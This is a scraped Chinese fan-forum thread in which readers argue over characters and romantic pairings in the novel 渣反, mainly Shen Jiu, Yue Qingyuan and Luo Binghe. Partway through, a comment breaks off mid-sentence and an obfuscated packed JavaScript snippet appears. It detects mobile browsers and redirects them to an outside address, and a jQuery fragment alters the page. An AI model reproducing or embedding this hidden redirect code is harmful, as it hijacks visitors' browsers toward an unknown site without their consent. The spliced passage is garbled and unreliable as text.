其实我对于七感觉很奇怪,怎么说呢?是,他是好人,但是就是有一种自以为是的好,还有他不信任沈九这是我最生气的一点。就像他一直想对九好,但是却好不到那个点上,当年那件事的结果是他错了吧?陪伴了那么久,他不明白沈九嘴硬心软吗?只要他强硬一点告诉真相,沈九会不原谅他吗?就这么让关系拉开?而且后面沈垣来了主动对他的态度变好,他就对沈垣很好,他一点怀疑都没有吗?原来的沈九和沈恒有什么相似的地方,他就这样把自己该对沈九好的好全都套到了沈垣身上,弥补自己的愧疚心吗?我真的是不理解。 其实吧,不管是冰妹还是冰哥,在早期他最重视最崇拜的人始终都是那个清冷自傲的师尊沈九,所以才会容易衍生出别的情感 七九没有性张力,但是三次元找老公还是七比较好 真的不管怎么样最后九都还在意他 我觉得没什么不合适 至少用伪君子来形容岳清源有点不恰当吧。 你那只眼睛看见我推崇他了,,说下人物性格就是喜欢,你理解能力太差了吧,只说了一次他们吧,懒得搭理你了,情商这么低,就别出来了,没事多读几遍书去,就是跟你说了,就你这智商能理解吗,跟你说,简直浪费我的时间,懒得搭理你了, 无语,果然跟你说不通,你既然这么骂他,就拿出原文证明啊,造谣可真没成本。我不怎么喜欢岳,但我觉得你一定喜欢幻花宫主,毕章你这么推崇他。 动不动就问看完了没,看完了啊,这算是这样能说明什么,多次给机会都没解释,怨谁,当初要是说了,沈清秋可能就没那么偏执了,别把这当理由了,如果换成你,你能释怀吗?你能感同身受吗,总是自以为是 这些都是事情,你想装瞎看不到是吗?文章就是这么写的,难不成你还脑补别的,也对你对岳清原有滤镜,把他看成有情有意义的人,道不同不相为谋,你也别跟我说了,岳清原这么好就留给你了 至于你说的这些,有锤上锤,一张嘴编排算什么 ?你有看完吗[满头问号]他因为着急去找沈九,修炼走火入魔了 哪里保护沈九了,我没看见,我只知道他每次的袒护,都会让沈清秋陷入更艰难的地步,遇到事情没有认真解决,对自己为什么没有旅行承诺,就是怎么也不说,我反而看到岳七不想乞讨,沈九需要讨要两份,明知道自己没有能力保护别人,非得逞能救人,沈九为帮他陷入秋府,多年后重逢,为救岳清原沈九杀师,在小九多次问他愿意,他却只说对不起,沈清秋到死都没释怀,而且岳清原袒护他,只是因为愧疚想要弥补,他本人根本不相信沈清秋,这样你懂了吗,摆脱别看表面文章了,多多长点心眼吧,谁要是遇到像岳清原这种人,早就躲远了 ?他是掌门好吗?他保护的同门非同门百姓还少了?原著里有不止一次他保护沈九的情景你有看吗? 他保护谁了,我的天,你找出他被保护的那个人来 啊?他拖累谁了?除了小时候沈九替他出头被秋少爷买走,他一直在保护别人吧[满头问号] 比起主观害人,岳清原这种人更让人讨厌,专门拖累别人 6,洛和老宫主就八面玲珑了,起码在害人这方面,岳没有主观上想害一个人,这俩是害了还要装孙子,装深情[满头问号] 岳清原本就是伪君子,还用洗白吗,这里面公仪萧才是最君子的,幻化公主和洛冰河可不能用伪君子说他俩,他俩是心狠手辣。八面玲珑的人 我看了整栋楼,我觉得我说不服你。但是君子论迹不论心,如果岳算伪君子,那幻花宫主和洛冰河这种都算蜉蝣生物了吧[满头问号] 这是事实,哪里是我偏激 鼠鼠我呢都被岳掌门pua了捏 ...你也太偏激了 我老婆独自美丽不香吗? 他没有拖累别人吗,做乞丐的时候不想乞讨,害小九讨两份,想做好人,没那个能力害小九落入秋府,干嘛让别人背锅啊,七粉也真是够了,你可别挨着小九,怪不得想远离你这种人 是的,他只是在行为上纵容着小九,但他貌似并没有真正的相信小九 行了,你也没必要再回复我了。你压根都没认真看别人回复你的是什么。我不想和这样的人说话。而且你没有理,说不通,就只会在那里狂喷。你这种行为纯粹就是毒唯聊久了真的会让人无语。 虽然这是墨香写的第一本书,但我觉得它里面的人物刻画比另外两本并不差。 是人都有坏的一面 你可能不理解圣母的意思。圣母就是拖累全体队友,自己一个人当好人。而他拖累所有人了吗? 所以你管这叫没有信任。 这是来给岳清源洗白了是吗,他那里对沈清秋好了,他只是愧疚,想弥补,求心里安慰,他从来没认真的了解,他做的每件事都是把清秋推向风口浪尖,他肯本没认真解决,岳清源是小孩子吗?不知道落到秋府会怎么样,还有在苍穹看试维护,他的这些做法只会让别人更讨厌清秋,清秋要的是这些吗,只是一个解释就能让人释怀,他却绝口不提,如果是你你会接受这些维护的好意吗,我也不说太多,因为你的脑袋不好使,我也不会再回你消息,你的智商堪忧,想法太幼稚 可能是因为七的偏爱不太突出吧 说到底都是命。 后面的倒没有,前面还有一点点正常。但是七哥他真的不坏。况且如果委托人去救小九的话,你觉得后面会发生什么?小九真的会被救出来吗?在这种设定中的修真界那个时候的七哥并非急于求成,而是他师尊不让他去。你说可以找别人来救,可我询问一下,如果真的找别人救了,他见到小九了,小九还有入苍穹山派的可能吗? 其实我觉得七哥也挺好的,但是他只会在行为上偏爱小九,在精神上确实是有一点打压在上面的。而且他也不坏。他就是太好了,好到他给予小九偏爱的时候,都让人感觉不到。 怎么说呢,七哥就是太好了吧,好到对所有人都太好了。好到连他给九偏爱的时候,九都感觉不到。就算站在路人视角把他的偏爱独展开,我觉得也没有那么突出。 可他好歹到最后来救他了。 其实我感觉七也挺好的,他只会在行为上给九比较好的事物,但是他未在精神上与他达到过一致。站在路人视角看小九确实也有错。但是我希望的是有一个人能给无限偏爱给小九,不在乎他对不对错不错的。显然七哥不是这样一个人。七哥是将所有人都公平对待的。他对小九或许有偏爱,但是用现在的话来说就是有偏爱,但不多。因为在文中的设定冰哥是最强的。所以我才嗑这一对。因为大家都能明白的一个道理,就是在狂傲的世界里面是强者为王,而里面最强的是冰哥,只有他能给予小九想要的偏爱 讲道理,如果冰和七的身份换一下,冰是从小和九一起摸爬滚打的创业搭档,七是九功成名就后收的小徒弟,估计也就没后面那一大串子悲剧了 不是,我的意思是从某些地方可以看出小九有素质,我统称为君子了。渣反我已经翻烂了 啊……原来是删了啊,我就说为什么这段我没看过 啊啊啊我是鞭太 很客观的评价,我喜欢 因为啥,因为你我都是bt,喜欢看相爱相杀的,对细水长流的救赎类不敢兴趣 小九是君子?很高的评价啊,建议在看两遍番外 请从人设出发OK 简单来说就是岳清源,你是个好人,所以我选洛冰河相对来说会啊,我更喜欢柳九一点。因为哪怕是岳清源,到最后也没有相信他而洛冰河呢又把小九做成了人棍。 我爱七九是因为小九愿意给这个机会 不知道为什么,我看文的时候就不喜欢岳七,包括后面他和小九的矛盾之类的,种种我都认为他并不会相信小九,而且我认为吧,小九多多少少是君子的,反而岳七倒不像个真君子了。(没说岳七不好,也没说小九很好,个人评价吧,有什么问题可以说,但请别喷我) 说的对 冰哥一个天魔统治了世界,凡人们颤抖吧,就问生活在那里的人神魔们,分分钟死多少个?小九又弄死了多少人,修仙的杀人不犯法吧?不是杀个人都去备案吧? 一个天赋好能修仙的岳七,3年没能去救小九,他自己不能去,就算是门规新生不能外出,他不能委托别人去救小九?七九分别的时候,小九假装断腿啊,他怎么可以不救就自己走人了?走火入魔说是为了救小九,有没有可能是他自己急于求成,这也能怪小九不识好歹?小九一朵淤泥里开出的花,他挣扎向上,就算有点厌世怎么了?他眼光多好,就逮着主角欺负,让你狂霸拽上天,不趁着年少多揍揍,以后不得后悔死! 小九被无厌子教导过,有没有可能小九一开始就知道洛是魔族?所以给洛机会让他野蛮生长,洛过的好坏小九就看个戏。或者小九谋划夺舍洛,真要毁洛,不知道他是主角不死,应该会想很多狠招,你看荒天帝的至尊骨都能被夺,这才是反派人渣该有的心思 妈呀我也觉得冰九cp感大于七九,就不知道为什么 所以啊我磕了渣反很多邪教,唯独不磕七九,七九我只磕纯兄弟情。 不是。我是说,你觉得,洛冰河来到渣反,跟沈接触之前,他对沈九的感情态度以及定位和认知是什么呢 至于嫉妒的是什么,我也不知道啊,因为洛冰河只是看到沈九对别人有“心”就嫉妒,可不是看到洛冰河爱上某个人才嫉妒的啊 首先,洛冰河来到渣反的原因不得而知,或许就是还凑个热闹呢?他都没准自己都不知道为什么会去那 或者简单点,你觉得冰哥是带着对沈九什么样的感情态度以及认知定位来到渣反的呢他在地牢里究竟嫉妒什么 在回答你之前,我很好奇,所以你觉得无间前后,得知沈九过去以及报仇之时,冰哥对沈九是个什么感情、什么定位、什么态度呢他究竟在嫉妒什么呢感觉没看明白你这方面的想法。 另外你说的洛冰河与九思想境界相同,不过是主观臆断罢了,原著中可没说狂傲洛冰河对九表面一套背地一套的看法,而且岳七也不是完全信奉正道,毕竟他对魔族可没有你死我活的看法,而且明知是圈套也要付出生命,他可是个宗主诶,抛下一切就为了九,而且当时九的名声可以用臭名昭著来形容了,他还是不顾同门的反对去找九,说明他对世俗的正道没有那么赞同吧?岳七知道沈九坏,但是他一直想要沈九走上好的道,这才会不断劝勉,当九把自己作的人不人鬼不鬼时,他会去责怪,因为岳七护不了他了,只能看着沈九受罪,妥妥男妈妈,最后咱俩的观念确实不太相同,但是我觉得我把我的观念去打下来,去让其他人去看见,倒也不是什么坏事, 但是我觉得,在知道沈九是个恶贯满盈的人,却依旧爱着他的人才是真正的爱,相反,在完全不知道沈九是一个什么样的人还爱他的人,那才是对爱的不负责,你说的也对,七和柳都会下意识的觉得九会害人,可是这些都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355980|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有理由的,首先九杀了仙门几个无辜弟子,这些都是七亲眼目睹的,他有什么理由不相信沈九会害人?就算不相信了,他也问了,是九不回他默认了,那么这还怪得了七?沈九确实善良过,岳七也相信他,但正是因为太过相信他,才导致的这误会啊,柳清歌的话,你又怎么知道他仅仅从“恶”的角度去判断他不是沈清秋?也完全有可能是沈清秋平时言行举止与之前大相径庭,但也确实是对九误会了… 可是你也说了,这些都是在他满心不甘的时候,你有没有想过,这完全有可能是洛冰河的占有欲与嫉妒心在作祟?不然为什么只有在看到他对别人好的时候才会这样?他自己卸了沈九的腿时候可没说会流露出一点点爱,包括洛冰河的看到沈九对着剑发呆时,妥妥的嫉妒心在作祟啊,这种嫉妒确实是爱的一种,但是却不能代表爱吧?而且我还是那句话,如果他真的顿悟了,可是原世界的沈清秋已经死了,这个世界的沈清秋还爱着他,他有什么理由不带走啊?如果他觉得这是真的沈清秋,更没有理由不带走他,如果他觉得这是假的沈清秋,但是还想要带走他,更没有逻辑了吧? 首先,沈垣的判断可没有什么参考价值,虽然他是资深读者,但明显不够了解人物,而且狂傲最重要的是一本大男主小说,洛冰河妥妥起点男标配,你又怎么知道洛冰河不是玩玩而已?而且你说他爱他师尊,但是不了解沈垣,说明他肯定会以为沈垣就是“沈清秋”,那以洛冰河的性格有什么理由不带走他?相反的,如果他知道此沈清秋非彼沈清秋,拿他又为什么想要带走?如果按照你所说的“爱”,那就是自相矛盾,可见不过是洛冰河嫉妒心在作祟罢了,他根本没有那么在乎沈九,另外他再也没来过,可是原世界的沈九已经死了,如果洛冰河真的那么爱沈九,又怎么可能不看一次?即便是看一眼“沈清秋”都会满足一些的吧?他没准早忘了沈清秋 毕竟是作者第一本书,肯定不会太好,里面的有些情节其实也很大众,再加上沈九也只是活在回忆里提供一具躯壳推动情节的人物,不会花太多笔墨在这,对于写作新手有时也很容易造成Bug,其实如果不是当时魔道火的突然迅速,兴趣使然我也不会注意到其他两本书,渣反这类穿书文他同期的或早期的我也看过不少,自认渣反也仅是普通大众小说,只是被带火,沈九笔墨不多,但也是渣反唯一一个让我提起兴趣,但也不多,毕竟描写少,连主角我都感觉有些刻板化,整体情节大同小异,冰九这对狼人CP我也就喜欢看一些同人图,同人文每回都是一搜还没看就感到后悔不想看了。七九我是从来不看,亲友尚可,伴侣七不合适。相对于冰对九□□上的折磨七精神上的更甚 七九只能存在于过去,我完全不看好七。而冰九之间的怨恨就是一道跨不去的河。我现在主磕柳九 最后,我是讲了一些我的不同观点,但是也尊重你的想法和磕点。就这样吧,打字好累…… 以及,岳七和柳清歌真的完全知道沈九是个什么样的人他们只是知道他的恶并且把他想得比他本身更恶吧他们开会讨论沈清秋是不是被夺舍时,柳清歌就说沈清秋在那啥洞里救他很不正常。但是实际的沈九是想救他呀。沈九打魅妖的时候也救过柳,但是柳问都不问就断定他一定是想趁机伤他。柳就觉得他是个彻头彻尾的小人啊。可是真的是这样吗沈九心底那一点点的善他们从不知道啊。怎么就灵魂了呢。更何况,柳和岳都是信奉正统正道,对沈九那些偷袭阴暗等等的思路,他们是从心底不认同的。价值观根本不一样。反而,我是觉得洛冰河更有可能去完全地了解九理解九并且接纳他的人。他们才是同一思想境界的人。 不然他为什么要一边心里觉得不甘心一边还要一走了之而且作者还要特意写一句沈垣觉得冰哥走得太轻易。沈垣作为狂傲资深读者+有观战能力且在场战斗人员,他的判断十分具备参考价值。也就是,仅从战局来看,结合洛冰河狂傲性情,他不应该这么轻易走。所以可以推断,他既不是真想带走沈垣,也不是只要师尊对他好,壳子里是谁都无所谓——否则肯定想带沈垣走,也就不会轻易离开。且,他之后再也没有来过。所以,我认为,冰对师尊是先有爱后了解,最后想要的是那个跟他命运交缠的师尊。先有感情之后再慢慢更深了解,因为爱一个人而去深入理解他、接纳他的全部未尝不可。毕竟你谈恋爱难道是要完全了解深刻理解了这个人之后才谈吗 第一,我认为冰哥看到的沈垣不是你说的好的小九,而是一个会爱洛冰河的沈清秋。他根本没时间去体会沈垣的性格。原文他对沈垣版沈清秋的评价只写了两处【小人,但是爱洛冰河】。不然他亲沈垣的时候为什么要眼带恶意,还质问冰妹怎么能跟这个小人厮混。【小人】【恶意】足以说明他亲近沈垣的时候脑子里想的是沈九。也说明,他只把沈垣待他的好理解为他爱他,而没有在心里洗白眼前的沈清秋,他依旧说,这个小人。哪来的喜欢君子沈清秋第二,他的不甘心是看到沈怜惜冰妹而触发的,内容对比的是两位沈待洛,一个嫌恶一个爱惜。第三,紧接着他满心不甘心时下意识的跟我走,更像一种变相顿悟他想要师尊爱他。 ?我说的是不杀无辜人,又不是不杀人。我说的是我看过这本书,意思是让你给我举两个例子,学没学过语文啊?我都怀疑你没看过,问你的一句也打不出来,你说的才都是废话都是 至于我持的相反的态度,七九和柳九我都可以磕,因为岳七可以为了沈九去付出生命,他对沈九的好全是基于他知道沈九是什么样的,即便沈九对他冷言冷语,他也没有想过放弃,有人说这就是对他的愧疚,可是这份愧疚带来的情感却远超于它的价值,另外能磕的下去柳九,因为柳清歌能真正意义上的了解沈九的灵魂,这是别人没有的,虽然他嘲讽沈九也不是什么好人,但是却能做一对灵魂伴侣,反正这就是我的看法,另外我觉得官配挺好看的,无论是冰哥和冰妹喜欢的都应该是沈清秋,不是沈九 另外我还要再说一句,我的CP洁癖超级超级强,两个人可以互攻,我也可以磕反,但是绝对不能有第3个人插足进来,所以我并不理解,为什么能喝下去冰九,就仅凭洛冰河想要把沈垣夺走这一段剧情,我就不可能磕下去这对CP了,你说的他喜欢师尊,但是我认为,这个师尊只是一个空壳子,里面换上谁的灵魂,只要这个灵魂对洛冰河好,那他就喜欢,对洛冰河不好,他会焦虑不安,会怨会恨,不值,真的不值,洛冰河喜欢的沈清秋从来不是灵魂上的喜爱,而是喜欢这个实具化的“人”,恰好,从我的观点上看,这不叫喜欢,更不叫爱 你告诉我名门正派,没杀人,你都没看过这本书,还评论干嘛,你别跟我说了,你说的都是废话, 没跟魔族混一起,你看文了吗, 那你的意思,洛冰河爱的就根本不是某个人了,而是一种理想的具体化,这就多少有点异想天开的成分在了,爱情在我看来是有迹可循的,这么多年的恋爱,要么是性格,要么是相处在一起的感觉,要么就是脸,这是产生爱情的原因,如果没有这种原因,那还叫爱情?所以回到我最先开始的讨论点,我不喜欢洛冰河,他一直都是在自己瞎攻略自己,在一种不了解别人的情况下私自给别人的印象下决定,导致别人不符合他的预期的时候就会无比的伤心,生气,这样的人不就是个疯子?原谅我这个人比较切合实际,就算你是一见钟情,也是要有一个原因的一见钟情,爱情确实虚无缥缈,但对一个人的包容性热烈性,相处的长久性,这些都是实实在在的 emm就是说,洛冰河究竟是因为沈九身上什么特点而喜欢他的这个问题本身不一定成立吧。为什么喜欢一个人就一定要是因为喜欢他身上的某种性格/行为我不太喜欢这种逻辑的爱情,因为那意味着可替代性——是不是只要有这种性格特点的人都可以呢至少洛冰河的爱情不是这个逻辑。冰妹还说师尊性格就是温柔强大呢。可是岳清源不是更温柔强大,他怎么不去喜欢他所以参考冰妹所说的【师尊是什么样的,我就喜欢什么样的】,我认为冰哥也是同理,沈九是什么样的人,他就喜欢什么样的。是先有爱情,再有原因。 名门正派之所以叫正派就是因为不杀无辜之人,哪里就和魔族混一起了? 我又不是没看过,标签在哪里?说不出来吗? 虚伪和杀人有什么关系,名门正派不杀人是吗,还不是和魔族混在一起了,真是假的很 你自己看去,这些需要别人说吗,所谓名门正派,那只是标签 魔族不虚伪,说杀就杀,你要是当个普通人被杀是不是还老开心了? 来,你告诉我哪儿虚伪,我听听 行吧,反正我觉得他如果喜欢的是沈九这个坏到不行的沈清秋的话,我认为他不可能会喜欢沈桓,性格什么的根本不一样,但是如果沈清秋的那份“对他好”那不管是谁,都可以给予,但是如果的他爱的是沈清秋的容貌的话,那就更渣到不行了,如果真如你说的他爱沈九,那爱的只可能是沈九可以的表现出来的自己,他根本不了解沈九,沈九表现给洛冰河的东西寥寥无几“憎恶他”“外貌”“小人之心” 他本来就特别虚伪,就他还君子,他配吗 卧槽岳清源都能被称为伪君子了? 好吧,我好像偏题了哈哈。我是想说,洛冰河不是一定要沈九对他好他才喜欢。他是需要一个去正视自己感情的理由。之所以沈清秋对他好他有这么大反应,是因为他本来就是爱他的。 以及,沈九在地牢里骂他杂种畜生,他瞬间失控暴走。但是渣反里这么喊冰妹的也很多,冰妹也没这么大反应。而且狂傲里必然也是很多人这么喊他,他肯定听多了,生气正常,何至于就要暴走再以及,沈九对着断剑发呆他也要不爽,他图啥他这时候已经知道了沈九的过去了呀,他还是在乎。所以,我觉得他就是在乎沈清秋对他好不好,而不是在乎沈清秋本人是不是个好人。 啊不是喜欢对他好的沈清秋,而是喜欢沈清秋对他好。不是喜欢沈清秋对别人抱有善意,而是喜欢沈清秋对他抱有善意。就,你明白这两者的差别吧关键在于,对洛冰河好的人多了去,他却偏偏只在乎沈清秋对他好不好。就比如,沈垣如果是穿到明帆身体里对他好,你看他还领情吗宁婴婴还对他好,结果他套话不成就不耐烦。明帆进来明明没啥表示,他就赤裸裸展露恶意。从头到尾,他只有在沈清秋对他好的时候会懵,懵完还乖乖跟他走,让他睡哪就睡哪。而且在没看沈垣记忆前,沈清秋就是应他一句,他就能甜丝丝喊师尊喊个不停。你敢想象这是沈老师一直害怕的恶棍变态冰哥 可是对待别人抱有善意,这不就是君子吗?而小九对待那些人可不是都有善意的,甚至他还恶意的去对待洛冰河,如果你想说的是洛冰河喜欢对他好的沈清秋,那不就对了吗?沈九肯定不会无缘无故对一个人好啊,因为他把义气都给了岳七,哪来的善意啊,因为沈九本来就不是一个对别人好的人,所以洛冰河喜欢的自然也就不是沈九了 有没有一种可能,洛冰河不是喜欢真君子沈清秋,而是喜欢沈清秋对他好。你看原文里描述他不甘心的地方全是沈清秋对冰妹的好,而他的沈清秋对他没半点好。根本没有关于其他任何人任何事的地方(比如救柳清歌,如何对待他人,以及得到门派里众人认可等等)。最后,我们都知道洛冰河这个人想要的东西不可能轻易放弃,他却明明心里疯狂不甘心,下意识说师尊跟我走,结果说完后自己立刻就跑了(连沈垣都觉得奇怪他怎么这么容易就走了。),后面也没再来过。如果真的是想要真君子沈清秋那根本不合理啊。他更可能是突然意识到他竟然那么在乎他的世界里的沈清秋,被吓了一跳,慌得不行才跑了。 所以真的好心疼九妹啊 我觉得这俩给我的感觉就很像郭靖对杨过,郭靖百般对杨过好,杨过在知道他是杀夫仇人的时候,百般怨怼,就真的很像父辈对子辈 再说说冰九吧,不知道为什么我不太喜欢洛冰河,无论是看小说还是动漫我都不喜欢他(可能那种小白花变大尾巴狼的感觉我不喜欢吧)其实我觉得洛冰河除了强制爱外基本和小九没啥可磕得了,首先小九永远不可能后悔自己做的事,其次洛冰河喜欢好的小九,就像番外冰哥嫉妒冰妹,但是他喜欢的不是“伪君子”沈九,而是真正的君子沈清秋(虽然沈老师也不是)就凭这一点就让我像吃屎一样难受 确实,七九之间太像父母和叛逆儿子,反而没什么cp感 但是冰九基本全是虐文呀,可以说那个时间线,他们已经隔着血海深仇了,基本不太可能he,小时候小九虐冰哥,长大后冰哥虐小九,他们之间隔着太大的渊源了,冰哥对于小九更多的是执念,但是七九的话相对于来说是可能he的,况且岳七到最后也不是奋不顾身的去救小九了,在那么多cp里面也是和小九情感羁绊最深的,也许他们没有好好找个时间把误会解开罢了,而写文的话就只是想让小九有一个好的结局 是的 我觉得,但凡岳七知道那三年沈九是怎么过的,他都不会说出让沈九对别人善意一些这种话,他有想过问问沈九那三年是怎么熬过去的吗?秋剪罗是怎么对他的?只是打断了他的腿吗?沈九当时还想着要再看他一眼啊。 沈九让冰哥去打第三局,因为那个时候只有他修为最高,不然派谁,因为他天资最高,经过岳柳沈三方认证的 所以,我才不嗑七九,太拉了,每次看见他俩对话都很心累嗑冰九是因为全狂傲可能只有冰能理解他而对于九哥,我最心疼的是,从来没有人真正理解过他,而冰恰好戳中了我的点,所以,他俩成了我的本命cp 说实话,我有时候觉得洛冰河对于沈清秋,不是爱,但是说不清楚是什么,但是就是觉得他不配,如若不是洛冰河血缘特殊,可能他们就是一对很普通的师徒 我有时候看冰九的时候,就在想小九哪里做错了?想不明白小九会拿这个山门的做赌注,让洛冰河上去打第三局?想不明白为什么洛冰河从不怨恨师父,却从深渊里爬出来的时候,务必怨恨?我甚至觉得,洛冰河从不想怨恨师父,可是深渊太苦,他只是一个孩子,他需要记住一点什么,怨恨一点什么,活下去。 嘶,倒也不用这么狠 个人磕不下七九的很大原因就是感觉岳七从头到尾都不信任小九,他俩三观就有很大差别问题,而且我觉得他对小九的感情还有一些做法有点奇怪。冰九我刚开始觉得有点奇怪,但是他俩精神上真的某种程度非常契合,而且张力满满,属于磕cp很爽的内种 岳七就是该沉默地时候说话,不该沉默地时候瞎沉默,比如明明知道十五不是啥好东西,还救那个白眼狼,知道小九心中有怨的时候反而闭嘴了,岳七这时候不张嘴了? 岳七执意就那个白眼狼,确实不太聪明 我也是 我给小九拉cp是因为我特别特别心疼和喜欢小九但我没有办法穿进狂傲里去宠他护他偏爱他所以希望有人能替我在里面疼他关心他,把他缺少的爱补上 虽然我最喜欢小九.但来自冰观点, 如果小九喜欢他,你觉得他会有多开心.冰想要这个.一个爱他 100% 的人 还有小九可以容忍冰做坏事的他能理解 所以冰九最好的 完全同意 何不食肉糜说的真好 你后面说的几个人虽然戏份少,我也是很认可的 我作为一个普通老百姓,自然是站在平民立场。 但对金光瑶无所谓喜恶。 前期的金光瑶挺让人怜惜,后期的金光瑶,政治家。 魔道里,稍微认可的是虞紫鸢(不包括教育方式)跟江澄、温逐流、双道长,渣反里认可的是沈九。 其实就算了解全部,因为个人经历与理解能力不同,评价也会大相径庭。 就像读者对魏无羡蓝忘机江澄金光瑶沈垣沈九…… 了解全部,也可能出现何不食肉糜的情况。 具体到岳清源跟沈清秋,岳清源当然了解沈九的善良、担当的,救十五(?)、救岳七自己、沈九哭泣养活两人…… 岳清源离开的时候,沈九也明明确确跟岳七说自己在秋府受到了虐待,双腿都被打断了(?) 但从幼时开始,岳清源对沈九就不认可,从十五沈九两人争执,岳清源拉偏架指责沈九…… 岳清源从小就对沈九存在偏见、根深蒂固,哪怕沈九牺牲性命前途救了他。 其实七九一直都不在一个频道上,七用原书话来说其实是一个大善人,处事其实蛮圆滑的,但九就是一个很摸打滚爬会有的性格,心思多,遇事会应激,再加上不擅长与人打交道,七希望九跟他一样,但实际上九根本就不可能变成这种人,就导致七的言论像是说教,七虽说偏袒沈清秋,但其实并没有真正了解过他 理论上说独美最好,但实际会希望给他拉个cp宠宠 其实这么算的话,我个人觉得九组CP的话就都很奇怪,根本不可能在一起的,感觉九很缺爱的一个小孩,不懂爱好吧 七哥确实可怜,两本书都只有小九一人真心对他,但他却不信任他。他为苍穹山做了那么多,也帮助了一些人,但没有一个人领他的情,最后死的时候身后空无一人。小九身后好歹有明矾和岳七 作者写的很中肯,比起七九这种没有嘴会解释的,冰九无论是设定还是那种张力感,都比七九要强上太多,导致我一开始喜欢的是冰九,但看多了冰九文,就会觉得里面的七哥有点可怜,总是错过 确实,谁也不喜欢别人天天在你耳边说你不好,那样让我感觉他在故意针对我 就是第一句,知不知道全貌只有本人知道。对方要是,不想找麻烦或摆明了要袒护,他告诉你我不清楚,你根本就没办法接下一句。所以,不是蓝二做得不好,是用到了极致,还拿来顺手堵了别人的嘴。 若逢迎他人能获得聪明的称号,那愚蠢便成了清醒的代名词。为什么柳清歌就不能和沈九搞好关系呢! 洛冰河后期会在所有人面前伪装,除了小九面前;小九会在外人面前装修雅,但在师兄弟还有洛冰河面前展露恶意 不认可对方行为的时候,也会觉得对方是愚蠢的,比如,为什么不能和柳清歌搞好关系呢?聪明人觉得傻子愚蠢,傻子也觉得聪明人愚蠢 个人磕不下冰九是因为洛冰河和沈九两人的爱都是极自我中心的,绝不迁就,对方给不到自己想要的东西就会变成无穷无尽的怨恨 (只能沦落成强迫对方,这也可以说是带感的原因吧)。冰九相杀没问题,好好相爱却是ooc了。 ……一直在diss沈九?算了,既然你对岳清源的厌恶度都高于黄瓜了,这个话题我们还是别展开了。真的真的,别再展开。 认可和喜欢这个要看站在谁的立场了,如果站在平民立场,最应该喜欢的是金光瑶,文中提到了他的很多政策是对老百姓有利的。魏无羡救温情他们是对他自己和江家有过恩义,他想还,其他仙门完全出于自己的利益。还有聂导这个人,对于平民来说一问三不知,这算什么,我们交了保护费,你不干活,到了仙门就是明哲保身 只是针对于未知全貌,未于置评这句话,对一件事的评论最起码了解一下这件事全部,虽然实际操作也很难,但总比人云亦云,听风就是雨的行为好很多,鉴于岳七对小九,我是认为他完全没有去了解事情的原委,有偏见认知的行为 岳清源总是一副长辈和说教心态对待沈清秋,在他心里他觉得他一直都是那个教育小九的七哥。如果生活中有一个年纪比你大一点却总是拉着你的手说教你的哥哥,一见面就说,你这么做是不对的,你那样做是不对的,你应该……别计较,他那人就是那样的……总是以长辈之名说教你,拜托!我以后看到您就绕道好吗!惹不起还躲不起了?!别来沾边!球球了,您不要总把沈清秋当成一个可以说教和教育的弟弟好吗? 作者认可蓝忘机??? 从两人相识开始,岳清源一直在diss沈九。一直说沈九心性不好啦,脾气性格不好啦……反正就是各种不好。 哪怕沈九救了十五、救了岳清源,以付出前途性命为代价的前提下。 甚至后期到了宗门,还是一样,从未公开说明过沈九是因为救自己,所以根骨被毁,而是任由他人误会,任由柳清歌针对。 对岳清源这个人的厌恶度,比对沈垣更深。 愚蠢? 哎,有时候也会想,也许他死去才是最好的结局,千万别回到那个世界里了,这些人都不值得 虽然不知道你是说我弄错了哪点,是说我对蓝二要求太高吗?你对那句话的看法我是认同的。 你搞错了点。未知全貌,什么样的叫未知全貌,我听了别人说,从各个地方了解到了,你说这是知道还是不知道。我看见了这个事情的发生,参与了这个事情,目睹了一切,但这样就真的是全貌了吗?不是当事人,永远都不算全貌的。就是个话术很高明的推托之词而已啦。还能把自己放在道德最高点。 这么说,好像也是。这么说来,岳清源除了认可柳清歌是一份善意双份回报,就没认可任何一位峰主。不过岳清源曾说愿意把掌门首席弟子之位让给沈九(掌门可是要综合品性和能力的,除非岳清源不顾门派未来),在沈垣壳子时期说沈九能恢复记忆还是恢复的好,要说他对沈九没认可……我们还是各自持有各自的看法吧。我也不强迫别人非得同意我的看法,只是提出我的看法去请人参考。还有我有注意到你标题修改,也不反对别人嗑冰九。 我仔细看了你的发言,确实我之前的标题有点拉踩的嫌疑,我后来做了一些修改。我看了狂傲中他们所有的对话和相处模式,没有岳七表达过对小九的肯定,特别是处理矛盾时,是有责备和看坏小孩的嫌疑的,这个也在文中引用了,至于你想表达的是你怎么知道岳七没有去认可沈九,这里我是从他们相处中岳七没有表现出任何的认可的基础上。 其实七九之间最大的就是精神层面上的沟通问题,其实都挺在意对方的,但是他们无法理解到对方所要表达的意思,可以说他俩不在一个频道上,所以每一次都不欢而散,这很费劲 各有各的看法吧。 这确实是。不过……这篇文有提到岳七拉垮,原本的标题都有提到,让人有点儿那么怀疑。岳七没有完全理解九,九也没有完全理解七。而且是两个世界没有人完全了解和理解九(连“书外人”的沈垣都没有,除了书外人)。 所以没说谁连累谁了啊,这篇文章也只是说岳七没有完全理解九… 怎么说呢……如果九没惹洛冰河,至少洛冰河不会对苍穹派那么大仇恨。当然,这场恩怨中,是洛冰河做过了,九也是受害者。而洛冰河仇恨苍穹派,掌门自然也受牵连。沈九在水牢一别时就不恨七了,是笃定七不会来才敷衍洛冰河。血书之事九是无意,但这个无意也真的牵连到掌门。岳七走火入魔错过时间也非故意。如果可以说岳七没及时回去是连累九,那么是不是也可以说九也牵连了七?所以我的观点是七九就是本算不清的帐,无法说谁更连累谁,而是两者皆悲剧。 个人想法,洛冰屠苍穹这件事,不完全是因为沈清秋,也可能是因为苍穹挡他的路了。血书赴约前沈清秋也说要和岳七撇清关系了,也提醒了他,所以连累这个词... 